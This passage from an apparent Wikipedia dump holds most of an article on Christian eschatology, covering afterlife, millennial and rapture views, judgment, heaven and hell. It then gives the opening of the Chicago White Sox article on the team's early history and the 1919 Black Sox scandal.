:22 For we know that the whole creation has been groaning together in the pains of childbirth until now. 
:23 And not only the creation, but we ourselves, who have the first fruits of the Spirit, groan inwardly as we wait eagerly for adoption as sons, the redemption of our bodies. 
:24 For in this hope we were saved. Now hope that is seen is not hope. For who hopes for what he sees? 
:25 But if we hope for what we do not see, we wait for it with patience. 

Christian eschatology concerns the [[afterlife]], the return of [[Jesus]], the [[End of the world (religion)|End of the World]], resurrection of the dead, the [[Last Judgment]], renewal of creation, [[Heaven]] and [[Hell]], and the consummation of all of God's purposes. 

The term eschatology is often used in a more popular and narrower sense when comparing various interpretations of the [[Book of Revelation]] and other [[prophet]]ic parts of the [[Bible]], such as the [[Book of Daniel]] and various sayings of Jesus in the [[Gospels]], concerning the timing of what many Christians believe to be the imminent [[Second Coming|second coming of Christ]]. There are various controversies concerning the order of events leading to and following the return of Jesus and the religious significance of these events.

Some Christians, notably followers of [[Eastern Orthodoxy]] but also members of other sects, regard most popular discussion of this topic to be fundamentally and dangerously false. Theologians from a number of traditions point out that the Book of Revelation was included late in the [[Biblical canon]], because of lingering questions regarding its usefulness. Many early teachers thought the Christian faith should be single-mindedly preoccupied with what is most transparently understood concerning [[Salvation#Christian views of salvation|salvation]]. The book is not included in the liturgical readings of most traditions. Nevertheless, a great number of Christians consider the effort to understand the Book of Revelation (and other prophecies) to be one of the most important issues, if not the chief objective, of their Christian faith.

In many [[Catholic]] and [[Protestant]] dogmatic, mystical or folk traditions, in addition to the other doctrines and prophecies of the Bible, there are also traditional teachings, or writings of people  granted gifts of prophecy or a special visitation by messengers from heaven, such as [[angel]]s, [[saints]], or Christ.

Nearly all traditions of Christianity believe that suffering, disease, injustice and death will continue until the second coming of Christ and the end of the world. The Christian hope will not be realized in this lifetime, and instead has the practical purpose of instructing the Christian to pray and work for a fuller measure of those blessings now.  However, there are dissenting traditions, which teach it to be an ethical or moral principle that all suffering ought to be eliminated prior to Christ's return.

===Biblical passages on life after death===
[[Image:Michelangelo - Fresco of the Last Judgement.jpg|right|thumb|300px|The Last Judgement - Fresco in the [[Sistine Chapel]] by [[Michelangelo]].]]

Most Christian traditions teach belief in life after death as a central and indispensable tenet of their faith.  &quot;All these people were still living by faith when they died. They did not receive the things promised; they only saw them and welcomed them from a distance. And they admitted that they were aliens and strangers on earth&quot; ([[Epistle to the Hebrews|Heb]] 11:13). It is charged by some that this belief in an afterlife is an innovation of Christianity, perhaps by admixture with Greek philosophy.

Some books of the Bible appear to deny the existence of the afterlife. (The following quotes are from the new JPS translation.) 

:[[Book of Isaiah|Isaiah]] 39:18 &quot;For it is not Sheol that praises You, Not [the land of] Death that extols you; Nor do they who descend into the Pit hope for your grace. The living, only the living can give thanks to you.&quot; 

:[[Psalms]] 6:6 &quot;For there is no praise of You among the dead; in Sheol, who can acclaim you?&quot; and Psalms 115:17 &quot;The dead cannot praise the Lord, nor any who go down into silence.&quot; 

:[[Book of Job|Job]] 7:7&amp;ndash;10 &quot;Consider that my life is but wind; I shall never see happiness again . . . As a cloud fades away, so whoever goes down into Sheol does not come up.&quot; 

:[[Ecclesiastes]] 9:4&amp;ndash;5 &quot;For he who is reckoned among the living has something to look forward to&amp;mdash;even a live dog is better than a dead lion&amp;mdash;since the living know that they will die. But the dead know nothing; they have no more recompense, for even the memory of them has died.&quot;

Christian churches such as the [[Roman Catholic Church]] that accept the [[Deuterocanonical books]] as part of the Old Testament point to the [[2 Maccabees|second book of Maccabees]] as Old Testament justification for the belief in an afterlife.  Second Maccabees 7 relates the [[martyr|martyrdom]] of a mother and her seven sons:

:Second Maccabees 7:7&amp;ndash;11 &quot;After the first brother had died in this way, they brought forward the second for their sport. [...] And when he was at his last breath, he said, 'You accursed wretch, you dismiss us from this present life, but the King of the universe will raise us up to an everlasting renewal of life, because we have died for his laws.' After him, the third was the victim of their sport. When it was demanded, he quickly put out his tongue and courageously stretched forth his hands, and said nobly, 'I got these from Heaven, and because of his laws I disdain them, and from him I hope to get them back again.'&quot; (excerpted from website &quot;Reading the Old Testament&quot;; translation probably NRSV)

Within the accepted Protestant canon, it is only in the book of Daniel that a &quot;modern&quot; understanding of an afterlife appears. From a Christian point of view, this aforementioned proposed denial of the possibility of afterlife may be interpreted in a different manner: One might see it as a distinction between the &quot;dead&quot; and the &quot;resurrected dead&quot; rather than a denial of the afterlife. The &quot;dead&quot; would represent those who have died outside of God's grace, who by choice do or did not follow God, and thus are dead (spiritually and bodily). The ones who go to be with God, by their choice of faith or actions depending on the religion, would be the &quot;resurrected dead,&quot; &quot;living dead&quot; or, simply, &quot;living.&quot;

When the Sadducees were testing him, Christ explained this difference by pointing out that God is the God of the living, not of the dead, yet saying that God is the God of Abraham and Isaac and Jacob, three apparently dead people. 

In [[Gospel of Matthew|Matthew]] 22:31&amp;ndash;32, Jesus says, &quot;But about the resurrection of the dead&amp;mdash;have you not read what God said to you, 'I am the God of Abraham, the God of Isaac, and the God of Jacob'? He is not the God of the dead but of the living.&quot; (NIV)

Looking at the above &quot;contradictory to the afterlife&quot; scriptures in this light, one might suggest the quotes from [[Book of Isaiah|Isaiah]], [[Psalms]], and [[Ecclesiastes]] to mean that those who have chosen not to praise God are &quot;dead,&quot; but those who have chosen to praise God have been given eternal life and thus are &quot;living&quot; or &quot;resurrected dead.&quot; Rather than saying there is not an afterlife, the author is simply saying in each case that those who do not have &quot;eternal life&quot; will not or cannot praise God (perhaps because their choice to not praise God in life is permanent in the afterlife). 

Furthermore, the words in [[Book of Job|Job]] are a metaphor. The construction suggests that the idea is being used as a metaphor and is not so much a fact as a generality. &quot;Consider that my life is but wind; I shall never see happiness again . . . As a cloud fades away, so whoever goes down into Sheol does not come up.&quot; In other words, in general, whoever goes down into Sheol does not come up. But also, the whole selection of text is, 

:Remember, O God, that my life is but a breath; my eyes will never see happiness again. 8 The eye that now sees me will see me no longer; you will look for me, but I will be no more. 9 As a cloud vanishes and is gone, so he who goes down to the grave [Sheol] does not return. 10 He will never come to his house again; his place will know him no more. 

Job does not say whoever goes to [[Sheol]] lives no more; he says a person who goes to Sheol does not return. Reading further in the passage, one finds he is speaking about returning &quot;to his house again.&quot; In other words, a person does not come back to regular, physical life. This does not bar resurrection in the spirit (or even in the body) to an afterlife. 

It is important to note that [[Job (person)|Job]] was wrong about never seeing happiness again (again, he was exaggerating using standard literary technique, but he certainly saw happiness later. See [[Book of Job|Job]] 42). What does that say about his comments on [[Sheol]]?

In actual fact [[Job (Biblical figure)|Job]] certainly believed in a life after death.
&quot;And after my skin has been destroyed, yet in my flesh I will see God; I myself will see him with my own eyes&amp;mdash;I, and not another&quot; (Job 19:26&amp;ndash;27).

==Intermediate state==
Belief in life after death of the body, according to Christian eschatology, also usually includes belief in an intermediate state.  Most traditions believe that the grave does not interrupt consciousness; rather, the immaterial soul experiences a particular judgment after death while separate from the body. The particular judgment is followed by confinement either in the presence of God in Heaven or away from God's presence in [[Hell]], where the [[soul]] is consciously subject either to happiness or torment.  Additionally, the [[Roman Catholic]] tradition further compartmentalizes existence after death, and includes belief in [[Purgatory]].  Some Catholic theologians have also argued for the existence of [[Limbo]], but there has never been a definitive Church teaching about the matter binding on the faithful.  [[Eastern Orthodoxy]] and [[Protestantism]] do not require belief in [[Purgatory]].  However, these differ from one another in their respective degrees of opposition to the teaching.  Orthodoxy does allow that the disembodied soul may have a course to pass through on the way to an ultimate destination; [[theosis]] may continue after death (or it might not). [[John Calvin]] included this belief among those things not worth arguing about.  Later [[Protestants]] tend to be less vague in their opinion, and definitely reject any idea of intervening experience for the soul after death, prior to being in the presence of God.  

However, an issue on which Catholic and Orthodox faiths are united against Protestantism is that the souls of at least some of the [[saint]]s in heaven are aware of those who call upon them in request of their [[Intercession of saints|intercession]].  In stark contrast it is antithetical to most traditions of [[Protestantism]] to believe that the souls of those who have died either should or even can be called upon for help or intercession with God.  Prayers directed toward those who have died, or rituals or masses dedicated to assisting the dead in their salvation, are often dogmatically taught by Protestants to be contrary to Scripture.  Protestants typically deny that the souls of men adopt omniscience omnipresence, or ubiquity after death, or that they are troubled any longer with the trials of life, or that their exceeding virtue in life remains as a deposit of grace in the Church that can benefit the living.

Catholic and Orthodox Christians do not claim that departed saints gain omniscience or omnipresence, however. An essential consequence of [[Jesus]]' own death and resurrection is the defeat of death itself. Because of this death neither puts a person beyond God's help nor prevents the Christian from praying. The living are not deprived of the prayers of a Christian simply because the Christian dies; otherwise death would still claim victory. Neither does a person's death make it impossible for God to save or sanctify them; otherwise death would limit what God could do. The Orthodox church carefully avoids defining exactly how departed saints are aware of requests for their intercession, or exactly how the departed may be helped by prayers made on their behalf. It just continues to pray as it always has, with faith in God for the results.

Not all Christian sects believe in existence apart from the body, which they regard to be a purely extra-biblical notion borrowed from the non-Christian philosophies and religions.  The [[Millerites]], or Adventist tradition, for example, typically deny that consciousness is possible apart from the body.  Most do not deny the resurrection, however.  A similar belief can be found represented by a minority in other Protestant groups, among whom it is not necessarily considered a heretical belief.

==Prophetic events prior to the return of Christ==
Generally speaking, there are four approaches or perspectives in Christian eschatology.  The '''Historicist''' looks to Scripture, and especially to its fulfilled prophecies, for the religious significance in past or present historical events.  The '''Preterist''' believes that most or all of the prophecies, especially of the book of Revelation, have already been fulfilled. Revelation is understood as predicting the fall of Jerusalem and the destruction of the temple, which was the event prophesied by Jesus that would signal the &quot;end of the age&quot; (see Matt 24; Mark 13; Luke 17; 21). The opening and closing verses of the book of Revelation state that the events prophesied in it were to take place &quot;shortly,&quot; and that the time was &quot;near&quot; (Rev 1:1, 3; 22:7, 10&amp;ndash;12, 20). The book fits into the category of a &quot;covenant lawsuit,&quot; in which judgment is pronounced against the nation of Israel for violating the stipulations of the Mosaic covenant. It prophesies the end of that covenant, the beginning of the New Covenant, and the inheritance of the Kingdom of God by the saints (cf. Dan 7:18; 12:1&amp;ndash;7).  The '''Futurist''' looks for religious significance for the present time in events that are thought to be future in history or beyond history. The Futurists have been subdivided into &quot;Premillennialism,&quot; &quot;Postmillennialism,&quot; and &quot;Amillennialism,&quot; named after their particular interpretation of the symbolic &quot;thousand years&quot; of Rev 20. The '''Idealist''' looks for regularities, patterns or laws of history or of the internal life which are of perpetual religious significance.  These patterns may be continually displayed in history or displayed at numerous times or in a special context (such as in the [[Liturgy]]).  Idealism may be combined with historicism or futurism, so that the pattern is an echo of a consummate or archetypical event sometime in history or at the end of the world.  Additionally, some interpretations are purely '''metaphorical'''.  Diversity of opinion arises when a particular passage concerning the kingdom of heaven is interpreted ideally, for example, which other groups interpret as history, and others as future or future beyond history.  All of these would be opposed to a merely metaphorical interpretation of the same passage.

===Kingdom of God: Literal Millennial views===
Within the special study of ''Biblical eschatology'', there are diverse opinions about the Kingdom of God.  Some interpret Rev 20:1&amp;ndash;6, concerning the 1,000-year (or millennial) rule of Christ on Earth, to be a future age. The belief that the Kingdom of God predicted by the Old Testament, the Messianic Age or Millennium of Messiah, is still future and will come about prior to the final judgment and final eternal state is called [[millennialism]].  A commonly accepted premise of millennialism is that this Messianic rule promised in the Old Testament has been postponed until God's purposes in the New Testament church have been fulfilled. 

[[Premillennialism]] is a futurist historical interpretation. It predicts that Christ's second coming will inaugurate a literal 1,000-year earthly Kingdom, at the conclusion of which will be the final judgment.  Upon Christ's return many anticipate a partial resurrection, only of the faithful, who will reign with Christ for one thousand years. During this time Satan will be imprisoned or restrained in the Abyss or Bottomless Pit.  At the end of the thousand years, Satan will be released to deceive the godless people of Gog, who will have re-accumulated during the Millennium.
The wicked will attempt to surround the Holy City once more during this Millennial rebellion.
Again they will be defeated and for all time. The Great White Throne Judgement will follow, and 
Satan will be cast into the Lake of Fire. The Devil will be condemned to [[hell]] for all eternity, 
together with those who have trusted in him rather than in God. 
This penultimate event is the [[Last Judgment]] of the Great White Throne. Each person will be consigned to either hell or [[heaven]].  The end of all things is a new heaven and a new earth, the mystery of an age of endless ages, when there will no longer be death and &quot;God will be all in all&quot; (1 Cor 15:28).  This is that final moment of ultimate perfection and bliss toward which all orthodox Christians finally direct their hope.

Premillennialists fall into two primary categories: ''historic'' premillennialism and ''dispensational'' premillennialism.  Historic premillennialism is so-called because it is the classic form which may be found in writings of some of the early church fathers, although in an undeveloped form. The [[Montanist]] sect espoused premillennialism, and their &quot;fanatical excesses&quot; brought premillennialism into discredit with the wider church (Schaff; [http://www.ccel.org/ccel/schaff/hcc2.v.xiv.xxii.html]).

Dispensational premillennialism is that form which derives from [[John Nelson Darby]] (1800&amp;ndash;1882) and [[Dispensationalism|dispensational]] theology.  It is dispensational premillennialism that first taught the notion of a pretribulation [[rapture]].  [[Tribulation|Pretribulationists]] believe that the second coming will be in two stages separated by a seven-year period of tribulation. At the first he will return in the air to rescue those who are Christians at the time (the rapture). Then follows a seven-year period of suffering, in which the [[Antichrist]] will conquer the world and kill those who refuse to worship him. At the end of the seven years, the final witness will go out before men and angels, and Christ will return to the earth. He will defeat the [[Antichrist]] and rescue the [[Judaism|Jews]] and those who have converted to Christianity during the tribulation. Dispensationalism has also spawned [[Tribulation|Midtribulationists]], who believe that Christians will not be removed until 3-1/2 years of the final seven years of this age have elapsed. They place the Rapture when the Temple sacrifices have been halted and the Antichrist has enshrined himself in the Temple, calling himself God.   [[Post Tribulation Rapture|Posttribulationists]] (generally the view of historic premillennialism) see no appreciable difference in the timing of the rapture and the &quot;official&quot; second coming. Thus they hold that Christ will not return until the end of the [[tribulation]] and that Christians will suffer for the faith as they bring forth the final witness associated with the 5th seal.

The belief in the pretribulation or midtribulation rapture theories of dispensationalism is often criticized, on the grounds that it results in the division of Christ's single return into two stages. Some see it as an impossible &quot;apartheid of the Elect&quot; of sorts which is not seen in scripture. Pretribulationists defend it on the basis of a scripture passage which affirms that God has not appointed His people to wrath. Posttribulationists counter that the tribulation associated with the final witness of the saints is in no way connected to the wrath of God. This wrath of God will only come at the last day, and it will fall upon the heads of the wicked at the [[last judgment]]. 

Some specifically criticize dispensational premillennialism for anticipating the rebuilding of the Hebrew Temple and the offering again of animal sacrifices during the millennial reign of Christ. In dispensationalism the return of the sacrifices will be ceremonial in nature. Like the ceremony of Communion or the Lord's Supper, they believe that the sacrifices will be performed on the appointed feast days in the future Millennium. They say that the reason the animal sacrifices will continue is because they will be enacted as a memorial to the Savior who came to earth as the Sacrifice Lamb.  However, critics view the idea of blood sacrifices reinstituted after Christ's return as incompatible with Christ's completed work and find the idea abhorrent (O. T. Allis, ''Prophecy and the Church'', p. 248).  

[[Postmillennialism]] is of two antithetical varieties, millennial and non-millennial.  Some postmillennialists believe that the millennium is a future golden age, when Christian saints will reign over all of the earth before the return of Christ and the end of the world.  This variety gained brief notoriety through the [[Anabaptist]] movement in the 16th century, in the segment led by [[Thomas Muntzer]].  [[Utopian]] ideals and [[Marxism]] in particular have at times brought about revivals of [[Millenarianism|millenarian]] belief derived from this variety of postmillennial expectations.

=== Kingdom of God: Non-literal Millennial views ===
[[Postmillennialism]] of the more common form is sometimes called &quot;optimistic [[amillennialism]]&quot;.  As in amillennialism the &quot;thousand years&quot; is an idiomatic expression for the entire period following the resurrection of Christ until His return.  Neither version anticipates a physical throne set up in geographical Jerusalem on earth, where Christ will reign for one thousand years.  Both believe that Christ is reigning now, at the right hand of God, in fulfillment of the promises made to David that his throne would be without end.  However, unlike the more usual amillennialism, postmillennial expectation for the future is optimistic concerning the progress of the [[Gospel]] and the increasing practical benefit of Christianity to all men.  Postmillennialists anticipate that prior to Christ's return, the world will have gradually but entirely converted to Christianity, at least nominally, through the preaching of the gospel.  God's legal sanctions ''in history'' are predictable, ensuring the punishment of the wicked and reward of the just, and the power of the Holy Spirit, working through the gospel, will eventually be pervasive. Stated another way, they believe that the [[Second Coming|Second Advent]] will be an event that continues the state of earthly affairs at the time, rather than interposing a radical discontinuity to them. Some anticipate a final apostasy, immediately prior to the final judgment.  Postmillennialism of this kind was common in [[17th-century]] [[United Kingdom|Britain]] and in America in the late [[19th century]] and early [[20th century]] prior to [[World War I]].  Additionally, postmillennialists typically envision a future conversion of the Jewish people, en masse, to the Christian faith.  Some versions of postmillennialism expect the [[Antichrist]] to arise in the future, but most have preterist or idealist interpretations of the Antichrist.

This variety of postmillennialism has been revived in the last forty years, particularly among conservative Calvinist groups.  The view places particular emphasis on the timing of Christ's return, which is expected only after a future period of global prosperity.  This postmillennial expectation, as an important feature of Christian eschatology, is favored by [[Christian Reconstructionism|Christian Reconstructionists]] such as [[Gary North (Christian Reconstructionist)|Gary North]], R. J Rushdoony, Greg Bahnsen,  Kenneth Gentry, [[Andrew Sandlin]] and Gary DeMar; and by non-Reconstructionists such as Loraine Boettner, Errol Hulse, G.I. Williamson and John Jefferson Davis.  This version of postmillennialism has repopularized evangelical interest in '''Preterist''' (fulfilled) interpretations.

[[Preterism]] is a variant of Christian eschatology which deals with the position of past fulfillment of the Last Days (or End Times) prophecies in varying degrees. The term preterism is derived from the word preterite, or past perfect tense; it also has its roots in the Latin word ''præter'', meaning &quot;past.&quot; The Preterist believes that most (a historically orthodox position) or all (a historically heterodox position) of the prophetic passages in the Bible, which have been commonly taken to refer to the end of the world, in fact refer to events in the [[1st century|first century]] AD, such as the persecution of Christians by the Roman Emperor [[Nero]], and were fulfilled in the destruction of Jerusalem in AD [[70]]. The [[Preterism]] page contains much more detail about this view.

[[Amillennialism|Amillennialists]] (no literal thousand years) hold that the millennium represents the period between Christ's death and resurrection and his Second Coming, that is, the age of the Church. This view is related to the understanding of a ''millennium'' as a short time period to [[God]], with an inexact extent.  Some amillennialists and postmillennialists adopt a preterist (fulfilled) historical interpretation of the establishment of the Kingdom of God and the appearing of the antichrist.  Others adopt an idealist interpretation either exclusively or in addition to historicism of some kind, so that in their understanding, the kingdom of God is repeatedly established, and many antichrists arise in conflict with it throughout history only to finally be destroyed.

Millennialism is not an all-encompassing description of eschatology, and ideas concerning the timing of Christ's coming are often not a central issue of eschatology.  For example, amillennialism may or may not be the belief of the [[Catholicism|Catholic]] church, or of many [[Protestantism|Protestants]]; the issue simply is not a central feature of their view of last things or a focus of their faith.  Typically, expectations concerning the reign of Christ are seen as partially fulfilled.  The kingdom of God is &quot;now and not yet&quot;&amp;mdash;realized now in a hidden way in the Church but awaiting full revealing with the [[Parousia]] (the appearing of Christ).  Generally, the return of Christ is expected &quot;any time&quot;, as the signs anticipating his appearing are believed to have been long since fulfilled by Christ's return to the Father, and the diaspora of Christianity into all the nations.

== The [[Second Coming]] ==
Eschatology concerns the things hoped for, yet to be revealed.  The return of Jesus Christ is the most important eschatological event.  The central act of Christian worship calls the Christian's attention toward the return of Jesus Christ and the renewal of the creation, at the &quot;Lord's table&quot; (called [[Eucharist]], &quot;The thanks&quot;; or Communion).

:[[Gospel of Luke|Luke]] 22:15 And he said to them, &quot;I have earnestly desired to eat this Passover with you before I suffer. 16 For I tell you I will not eat it until it is fulfilled in the kingdom of God.&quot; (ESV)
	
:[[First Corinthians]] 11:26 For as often as you eat this bread and drink the cup, you proclaim the Lord's death until he comes. (ESV)

==The [[resurrection]] of the righteous and the wicked==
With the coming of Christ, Christians anticipate a resurrection of both the righteous and the wicked.

== Final judgment ==
''Main article: [[Last Judgment]]''

Following the resurrection of the dead, Christians anticipate that Christ will personally judge the living and the dead, to determine the eternal destiny of each according to their deeds.  There will be a definite limit to the time of probation, during which there is opportunity to enter into life.  This time of probation ends with Final Judgment.

=== [[Heaven]], or everlasting reward ===
Some historians believe that the concept of heaven was imported into Judaism from [[Zoroastrianism]], perhaps by the prophet Daniel through his exposure to the Zoroastrian Magi of the court of Darius I. The belief in heaven appears to have supplanted the earlier concept of &quot;Sheol&quot; (mentioned in Isa 39:18; Ps 6:6; Job 7:7&amp;ndash;10), although there is evidence of much earlier belief in a physical resurrection to a state of fellowship with God (Ps 16:10&amp;ndash;11; Job 19:25&amp;ndash;27).

Jewish believers in this concept of heaven and hell included the group known as the &quot;Pharisees&quot;. The larger dogmatically conservative &quot;Sadducees&quot; maintained their belief in Sheol. While it was the Sadducees that represented the Jewish religious majority, it was the Pharisees who best weathered Roman occupation, and their belief in heaven and hell was passed on to both Christianity and [[Islam]].

Some traditions of Christianity, chiefly, [[Fundamentalism|Fundamentalist]] sects,  dogmatically hold that Heaven is in some sense a place: a spatial compartment of the cosmos literally, and spatially located above the sky.  However, reasoning that God is the only limitless being, and noting that Christ speaks of Himself as the abode of God, some theologians argue that &quot;heaven&quot; in the sense of an everlasting abode is nothing other than the everlasting reconciliation with God through Jesus Christ.  Therefore, just as God is everywhere, heaven is everywhere that God is, and spatial distances and limitations which define the present life will no longer confine the blessed.  The mode of existence belonging to this state is not fully imaginable.  Views of both sorts are considered orthodox in most Christian traditions, usually favoring the conception of heaven as a spatial confinement or section of the cosmos, without deciding dogmatically where heaven is located.

[[Eastern Orthodoxy]] holds that [[theosis]] (deification) literally involves the adoption into the person blessed by grace of the attributes of God. (By this is meant attributes such as love and goodness, but not attributes such as omnipotence or omniscience.)  Each person who enters into the light of God becomes light and, by translation into glory, will be individually a complete expression of the [[Energies of God]], a perfected icon (likeness) of God as shown by Christ in His Glorification. Theosis is a process of becoming more &quot;godly&quot; and more closely united to God in his energies, that begins in this life and continues in the next.  It must be remembered, however, that the Orthodox Church stresses that even theosis does not erase the fundamental ontological gap between the uncreated and the created.  

The [[Roman Catholic Church]] teaches that the saints in heaven attain to a direct intuition of the essence of God, in such a way that nothing created intervenes as the medium by which God communicates knowledge of Himself  ([[1 Corinthians|1 Cor]] 13:8&amp;ndash;13; [[Gospel of Matthew|Matt]] 18:10; [[1 John|1 John]] 3:2; [[2 Corinthians|2 Corinthians]] 5:6&amp;ndash;8).

[[Protestantism]] denies views that amount to deification by adoption, which expect the literal removal of temporal and creaturely limitation from creaturely consciousness or spatial particularity.  Protestantism holds dogmatically that the distinction between divine and creaturely being is impossible to violate.  Human beings will always be limited and partial, creaturely expressions of divine perfection.  However, in blessed communion of holiness, together with God through Christ, the blessed will enjoy the never-ending increase in the knowledge of God.  Through the knowledge and enjoyment of Him, transformed into the likeness of Christ's glorified humanity, the glorified believer will increase in the knowledge and enjoyment of all things, forever.

===[[Hell]], or everlasting punishment===
As views vary concerning the location of the everlasting abode of the holy, so views vary concerning the exact nature and location of the punishment of men and of [[demon]]s, usually without dogmatic definition.  Some hold that as God is everywhere, men and demons who are unreconciled to God will be doomed by their unrepentant hatred of God, to be in torment by the conscious awareness of the presence of God, metaphorically pictured as a lake of fire, forever.  Others hold that the torments of fire are of some other nature, a rather more literal flame, into which all who have rejected God will be cast.  Unlike ideas of heaven, however, hell is always envisioned as a place of confinement and of separation: as remote as possible from the abode of the holy.  

The existence of hell is generally considered a matter of fundamental Christian faith.  However, as with anything else, it is not universally believed by all Christian groups or sects.  Some groups, especially most [[Millerites]], teach that the abyss of Hell is a metaphor for uncreation or annihilation.  The [[Church of Jesus Christ of Latter-day Saints]] (Mormons) also denies the existence of never-ending torment.  Instead, they teach (not entirely without analogy in orthodox Christianity) that there are degrees of reward that are immeasurably below the rewards of the righteous, to which the wicked are consigned, which by comparison are infinitely less desirable to the righteous than the highest heaven (which, in their teaching, entails becoming a God&amp;mdash;&quot;Exaltation&quot;).

==The end of the world and the renewal of creation==
The final event foreseen is a transformation of all created things, in which all old things will have passed away and all things will become new.

==The consummation of all things==
The endless era called &quot;The Eternal State&quot; will be the high point of New Testament prophecy. It is the very period for which Christ promises to house and abide with His followers--forever. It is the kingdom without end, the &quot;forever and ever&quot; of Scripture. Remarkably, the Bible says very little about the eternal state. All that is directly mentioned is found in Revelation 21:1-22:5. The first heaven and earth pass away, the sea disappears, and then the new heaven and earth take its place. The New Jerusalem, which Paul describes in Galatians 4:26 as &quot;free&quot; and &quot;mother of us all&quot; and in Hebrews 12:10 as the &quot;City with Foundations, whose builder and maker is God&quot;, descends from heaven to the New Earth. Those who dwell in the New Jerusalem are God, the angels, and redeemed humanity. Two things now happened: God will now live among people (Revelation 21:3) and effects of the curse which happened at the Fall of Mankind (Genesis 3:16-19) will be reversed. The redeemed now are completely and permanently free from all curses, have citizenship in the New Jerusalem, access to the pure river of water of life as well as the tree of life, and the glory of God will provide all the light they need. The Eternal State is not just defined by those things that are in it, like the New Jerusalem, God, and the redeemed, but it is also defined by the things that will not be in it. This means there will be no more: Death, Hades, Sea, sorrow, crying, pain, cowardice, unbelieving, abominations, murderers, sexually immoral, sorcerers, idolaters, all liars, temple, night and curse. The Eternal State is ultimately where righteousness and the righteous find their true home--forever and ever.

== Specific dates of the end of days == 

According to someone's speculation on the [[Bible code]]s, the end of the world begins in the year AD 2012. This date can be &quot;confirmed&quot; by the Mayan calendar, which ends on December 21, 2012.

==See also==
*[[Summary of Christian eschatological differences]]
*[[End times]]
*[[Resurrection of the dead]]
*[[Millennialism]]
*[[Amillennialism]]
*[[Preterism]]
*[[Apocalypse]]
*[[Apocalypticism]]
*[[Revelation]]
*[[Soul]]
*[[Psychopannychism]]
*[[Death]]
*[[Jerusalem syndrome]]
*[[Jehovah's Witnesses]]
*[[Olivet discourse]]
*[[Six Ages of the World]]
*[[Apocalypse of Pseudo-Methodius]]
*[[Antichrist]]
*[[Number of the Beast]]

==External links==
*[http://www.hope.edu/academic/religion/bandstra/RTOT/RTOT.HTM  Reading The Old Testament] -- includes texts of Deuterocanonical books

[[Category:Christian eschatology]]
[[Category:Prophecy]]</text>
    </revision>
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  <page>
    <title>Chicago White Sox</title>
    <id>5945</id>
    <revision>
      <id>42070131</id>
      <timestamp>2006-03-03T16:43:26Z</timestamp>
      <contributor>
        <ip>24.148.85.205</ip>
      </contributor>
      <comment>rv vandalism</comment>
      <text xml:space="preserve">{{MLB infobox White Sox}}
The '''Chicago White Sox''' are a [[Major League Baseball]] team that plays on the south side of [[Chicago, Illinois]]. The team is a charter member of the [[American League]]. They are the current [[2005 World Series|World Series champions]].

One of the AL's eight charter franchises, the White Sox dominated play during the early 20th century, winning 5 of the first 19 league pennants; but the team's fortunes dropped precipitously after it became involved in what is debatably the [[1919 World Series|greatest scandal in the history of the sport]]. After winning only one league championship in the years spanning 1920 to 2004, the team ended decades of frustration in [[2005 World Series|2005]] when it won its first world championship since [[1917 World Series|1917]]. The White Sox are one of two major league teams based in Chicago, the other being the [[Chicago Cubs]] of the [[National League]].  

:'''All-time regular season record (1901-2005)''': 8210 won - 8020 lost - 101 tied - 3 no-decision
:'''See also''': [[List of Chicago White Sox people]]

==Franchise history==
The team began as the [[Sioux City, Iowa|Sioux City]] franchise in a minor league called the Western League. The WL had reorganized itself in November 1893, with [[Ban Johnson]] as President. Johnson, a Cincinnati-based reporter, had been recommended by his friend [[Charles Comiskey]], former major league star with the [[St. Louis Cardinals|St. Louis Browns]] in the [[1880s]], who was then managing the [[Cincinnati Reds]]. After the [[1894 in sports|1894]] season, when Comiskey's contract with the Reds was up, he decided to take his chances at ownership. He bought the Sioux City team and transferred it to [[St. Paul, Minnesota|St. Paul]], where it enjoyed some success over the next 5 seasons.

In [[1900 in sports|1900]], the Western League changed its name to the American League. It was still officially a [[minor league baseball|minor league]], a part of the National Agreement and an underling of the National League. The NL actually gave permission to the AL to put a team in Chicago, and Comiskey moved his St. Paul club to Chicago's South Side. After the season, the AL declined to renew its membership in the National Agreement, and the war was on.  

The club originally called itself the &quot;White Stockings,&quot; the original name of the National League's [[Chicago Cubs]]. Incidentally, the White Stockings won the first AL pennant in 1900, albeit still officially as a minor league team.  After acquiring a number of stars from the older league, including pitcher and manager [[Clark Griffith]], the White Sox also captured the AL's first major-league pennant the next year, in [[1901 in sports|1901]]. Headline editors at the ''[[Chicago Tribune]]'' sports department immediately began shortening the name to &quot;White Sox,&quot; and the team officially adopted the shorter name in [[1903]].  The White Sox would continue to be built on pitching and defense in the following years, led by pitching workhorse [[Ed Walsh]], who routinely pitched over 400 innings each season in his prime.

===The Hitless Wonders===
Walsh, [[Doc White]] and [[Nick Altrock]] paced the White Sox to their [[1906 in baseball|1906]] pennant and their first [[1906 World Series|World Series]] victory, a stunning upset over the Cubs who had won a record 116 regular-season games. The Sox, dubbed the &quot;Hitless Wonders&quot; for having the lowest team batting average in the American League that year, nevertheless took the Series, and intracity bragging rights, in six games.

===&quot;The Eight Men Out&quot;===  
The White Sox contended over the next decade, but did not bring home a pennant until [[1917 World Series|1917]]. Led by second baseman [[Eddie Collins]] and outfielder [[Shoeless Joe Jackson]], the White Sox now had offense to go with the pitching of [[Eddie Cicotte]] and [[Red Faber]], and a strong defense anchored by catcher [[Ray Schalk]] and third baseman [[Buck Weaver]]. The powerful Sox won a franchise-record 100 games, and beat the [[San Francisco Giants|New York Giants]] in six games in the [[1917 World Series|World Series]]. After an off-year in the war-shortened season of [[1918 in sports|1918]], the club bounced back to win the pennant in [[1919]] and entered the [[1919 World Series|World Series]] heavily favored to defeat the [[Cincinnati Reds]].  

However, 1919 was the year of the infamous [[Black Sox scandal]]. Eight White Sox players, including Cicotte and Jackson, were involved, to varying degrees, in a plot by gamblers to &quot;[[match fixing|fix]]&quot; the World Series. Especially considering their lack of success since the scandal, many people feel that the White Sox have never quite overcome the stigma of being the only team to allegedly fix the World Series.

In that era, gamblers often influenced baseball games. Many players on a number of teams - often frustrated by their inability to make what they felt was a fair wage for being elite athletes - were willing to participate in fixing the outcome of baseball games in exchange for cash. However, until the Black Sox scandal, rarely did such attempts to fix games blow up into scandals of this proportion. Usually such scandals were limited to individual players and games in the regular season. Never before, as far as can be demonstrated with this degree of certainty, had the gamblers been so brazen as to attempt to fix the championship series.

